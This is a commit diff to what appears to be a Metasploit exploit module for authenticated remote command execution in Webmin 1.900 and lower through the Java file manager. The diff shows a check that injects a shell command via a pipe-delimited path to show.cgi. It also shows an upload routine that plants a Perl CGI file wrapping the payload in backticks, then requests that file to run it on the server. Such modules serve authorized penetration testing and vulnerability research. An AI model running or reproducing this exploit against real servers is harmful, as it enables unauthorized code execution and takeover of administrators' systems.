Change upload and add option
Change the contents of the uploaded file and don't overwrite and existing file by default. Add option to specify name of file.master
parent
bd1cd7fae8
commit
9a32231cb5
|
@ -11,7 +11,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Webmin 1.900 - Remote Command Execution',
|
||||
'Name' => 'Webmin Java File Manager Authenticated RCE',
|
||||
'Description' => %q(
|
||||
This module exploits an arbitrary command execution vulnerability in Webmin
|
||||
1.900 and lower versions. Any user authorized to the "Java file manager"
|
||||
|
@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl ruby python telnet'
|
||||
'RequiredCmd' => 'perl'
|
||||
}
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
|
@ -61,14 +61,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
register_options [
|
||||
OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),
|
||||
OptString.new('USERNAME', [true, 'Webmin Username']),
|
||||
OptString.new('PASSWORD', [true, 'Webmin Password'])
|
||||
OptString.new('PASSWORD', [true, 'Webmin Password']),
|
||||
OptString.new('FILENAME', [false, 'Filename used for the uploaded data'])
|
||||
]
|
||||
end
|
||||
|
||||
def login
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/session_login.cgi',
|
||||
'uri' => normalize_uri('session_login.cgi'),
|
||||
'cookie' => 'testing=1',
|
||||
'vars_post' => {
|
||||
'page' => '',
|
||||
|
@ -96,12 +97,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
vprint_status('Attempting to execute...')
|
||||
command = "echo #{rand_text_alphanumeric(0..9)}"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
|
||||
'cookie' => "sid=#{cookie}"
|
||||
}, 25
|
||||
)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
|
||||
'cookie' => "sid=#{cookie}"
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.message =~ /Document follows/
|
||||
return CheckCode::Vulnerable
|
||||
|
@ -129,7 +128,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
res = send_request_raw(
|
||||
'method' => 'POST',
|
||||
'uri' => '/proc/index_tree.cgi',
|
||||
'uri' => normalize_uri('proc', 'index_tree.cgi'),
|
||||
'headers' =>
|
||||
{
|
||||
'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"
|
||||
|
@ -152,7 +151,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return
|
||||
end
|
||||
directory << 'file'
|
||||
upload_attempt(phost, cookie, directory)
|
||||
filename = datastore['FILENAME'].present? ? datastore['FILENAME'] : "#{rand_text_alpha_lower(5..8)}.cgi"
|
||||
filename << '.cgi' unless filename.end_with?('.cgi')
|
||||
upload_attempt(phost, cookie, directory, filename)
|
||||
|
||||
##
|
||||
# Loading phase of the vulnerable file
|
||||
|
@ -161,71 +162,26 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status("Attempting to execute the payload...")
|
||||
command = payload.encoded
|
||||
res = send_request_cgi({
|
||||
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(0..9)}|#{command}|",
|
||||
'uri' => normalize_uri('file', filename),
|
||||
'cookie' => "sid=#{cookie}"
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.message =~ /Document follows/
|
||||
print_good 'Payload executed successfully'
|
||||
else
|
||||
print_error 'Error executing the payload'
|
||||
end
|
||||
end
|
||||
|
||||
def upload_attempt(phost, cookie, dir)
|
||||
def upload_attempt(phost, cookie, dir, filename)
|
||||
boundary = rand_text_alphanumeric(29)
|
||||
limit = rand_text_alpha_upper(5..10)
|
||||
code = <<~HERE
|
||||
#!/usr/bin/perl
|
||||
$var = <<'#{limit}';
|
||||
#{payload.encoded}
|
||||
#{limit}
|
||||
`$var`;
|
||||
HERE
|
||||
|
||||
data2 = "-----------------------------#{boundary}\r\n"
|
||||
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"
|
||||
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"#{filename}\"\r\n"
|
||||
data2 << "Content-Type: application/octet-stream\r\n\r\n"
|
||||
data2 << "#!/usr/local/bin/perl\n# show.cgi\n# Output some file for the browser\n\n"
|
||||
data2 << "$trust_unknown_referers = 1;\nrequire './file-lib.pl';\n&ReadParse();\nuse POSIX;\n"
|
||||
data2 << "$p = $ENV{'PATH_INFO'};\nif ($in{'type'}) {\n\t# Use the supplied content type\n\t"
|
||||
data2 << "$type = $in{'type'};\n\t$download = 1;\n\t}\nelsif ($in{'format'} == 1) {\n\t"
|
||||
data2 << "# Type comes from compression format\n\t$type = \"application/zip\";\n\t}\n"
|
||||
data2 << "elsif ($in{'format'} == 2) {\n\t$type = \"application/x-gzip\";\n\t}\n"
|
||||
data2 << "elsif ($in{'format'} == 3) {\n\t$type = \"application/x-tar\";\n\t}\nelse {\n\t"
|
||||
data2 << "# Try to guess type from filename\n\t$type = &guess_mime_type($p, undef);\n\t"
|
||||
data2 << "if (!$type) {\n\t\t# No idea .. use the 'file' command\n\t\t"
|
||||
data2 << "$out = &backquote_command(\"file \".\n\t\t\t\t\t quotemeta(&resolve_links($p)), 1);\n\t\t"
|
||||
data2 << "if ($out =~ /text|script/) {\n\t\t\t$type = \"text/plain\";\n\t\t\t}\n\t\telse {\n\t\t\t"
|
||||
data2 << "$type = \"application/unknown\";\n\t\t\t}\n\t\t}\n\t}\n\n# Dump the file\n&switch_acl_uid();\n"
|
||||
data2 << "$temp = &transname();\nif (!&can_access($p)) {\n\t# ACL rules prevent access to file\n\t"
|
||||
data2 << "&error_exit(&text('view_eaccess', &html_escape($p)));\n\t}\n$p = &unmake_chroot($p);\n\n"
|
||||
data2 << "if ($in{'format'}) {\n\t# An archive of a directory was requested .. create it\n\t"
|
||||
data2 << "$archive || &error_exit($text{'view_earchive'});\n\tif ($in{'format'} == 1) {\n\t\t"
|
||||
data2 << "$p =~ s/\\.zip$//;\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t$p =~ s/\\.tgz$//;\n\t\t}\n\t"
|
||||
data2 << "elsif ($in{'format'} == 3) {\n\t\t$p =~ s/\\.tar$//;\n\t\t}\n\t-d $p || &error_exit($text{'view_edir'}.\" \".&html_escape($p));\n\t"
|
||||
data2 << "if ($archive == 2 && $archmax > 0) {\n\t\t# Check if directory is too large to archive\n\t\tlocal $kb = &disk_usage_kb($p);\n\t\t"
|
||||
data2 << "if ($kb*1024 > $archmax) {\n\t\t\t&error_exit(&text('view_earchmax', $archmax));\n\t\t\t}\n\t\t}\n\n\t"
|
||||
data2 << "# Work out the base directory and filename\n\tif ($p =~ /^(.*\\/)([^\\/]+)$/) {\n\t\t$pdir = $1;\n\t\t"
|
||||
data2 << "$pfile = $2;\n\t\t}\n\telse {\n\t\t$pdir = \"/\";\n\t\t$pfile = $p;\n\t\t}\n\n\t"
|
||||
data2 << "# Work out the command to run\n\tif ($in{'format'} == 1) {\n\t\t"
|
||||
data2 << "&has_command(\"zip\") || &error_exit(&text('view_ecmd', \"zip\"));\n\t\t"
|
||||
data2 << "$cmd = \"zip -r $temp \".quotemeta($pfile);\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t"
|
||||
data2 << "&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
|
||||
data2 << "&has_command(\"gzip\") || &error_exit(&text('view_ecmd', \"gzip\"));\n\t\t"
|
||||
data2 << "$cmd = \"tar cf - \".quotemeta($pfile).\" | gzip -c >$temp\";\n\t\t}\n\t"
|
||||
data2 << "elsif ($in{'format'} == 3) {\n\t\t&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
|
||||
data2 << "$cmd = \"tar cf $temp \".quotemeta($pfile);\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
|
||||
data2 << "# Don't actually do anything if in test mode\n\t\t&ok_exit();\n\t\t}\n\n\t"
|
||||
data2 << "# Run the command, and send back the resulting file\n\tlocal $qpdir = quotemeta($pdir);\n\t"
|
||||
data2 << "local $out = `cd $qpdir ; ($cmd) 2>&1 </dev/null`;\n\tif ($?) {\n\t\tunlink($temp);\n\t\t"
|
||||
data2 << "&error_exit(&text('view_ecomp', &html_escape($out)));\n\t\t}\n\tlocal @st = stat($temp);\n\t"
|
||||
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-type: $type\\n\\n\";\n\t"
|
||||
data2 << "open(FILE, $temp);\n\tunlink($temp);\n\twhile(read(FILE, $buf, 1024)) {\n\t\tprint $buf;\n\t\t}\n\t"
|
||||
data2 << "close(FILE);\n\t}\nelse {\n\tif (!open(FILE, $p)) {\n\t\t# Unix permissions prevent access\n\t\t"
|
||||
data2 << "&error_exit(&text('view_eopen', $p, $!));\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
|
||||
data2 << "# Don't actually do anything if in test mode\n\t\tclose(FILE);\n\t\t"
|
||||
data2 << "&ok_exit();\n\t\t}\n\n\t@st = stat($p);\n\tprint \"X-no-links: 1\\n\";\n\t"
|
||||
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-Disposition: Attachment\\n\" if ($download);\n\t"
|
||||
data2 << "print \"Content-type: $type\\n\\n\";\n\tif ($type =~ /^text\\/html/i && !$in{'edit'}) {\n\t\t"
|
||||
data2 << "while(read(FILE, $buf, 1024)) {\n\t\t\t$data .= $buf;\n\t\t\t}\n\t\tprint &filter_javascript($data);\n\t\t"
|
||||
data2 << "}\n\telse {\n\t\twhile(read(FILE, $buf, 1024)) {\n\t\t\tprint $buf;\n\t\t\t}\n\t\t}\n\tclose(FILE);\n\t}\n\n"
|
||||
data2 << "sub error_exit\n{\nprint \"Content-type: text/plain\\n\";\n"
|
||||
data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
|
||||
data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
|
||||
data2 << "\r\n\r\n"
|
||||
data2 << code
|
||||
data2 << "-----------------------------#{boundary}\r\n"
|
||||
data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
|
||||
data2 << "-----------------------------#{boundary}\r\n"
|
||||
|
@ -244,7 +200,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
res2 = send_request_raw(
|
||||
'method' => 'POST',
|
||||
'uri' => "/updown/upload.cgi?id=#{rand_text_numeric(8..12)}",
|
||||
'uri' => normalize_uri('updown', 'upload.cgi'),
|
||||
'vars_get' => {'id' => "#{rand_text_numeric(8..12)}"},
|
||||
'data' => data2,
|
||||
'headers' =>
|
||||
{
|
||||
|
@ -255,7 +212,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
)
|
||||
|
||||
if res2 && res2.code == 200 && res2.body =~ /Saving file/
|
||||
print_good 'Vulnerable show.cgi file was successfully uploaded.'
|
||||
print_good "File #{filename} was successfully uploaded."
|
||||
else
|
||||
print_error 'Upload failed.'
|
||||
end
|
Loading…
Reference in New Issue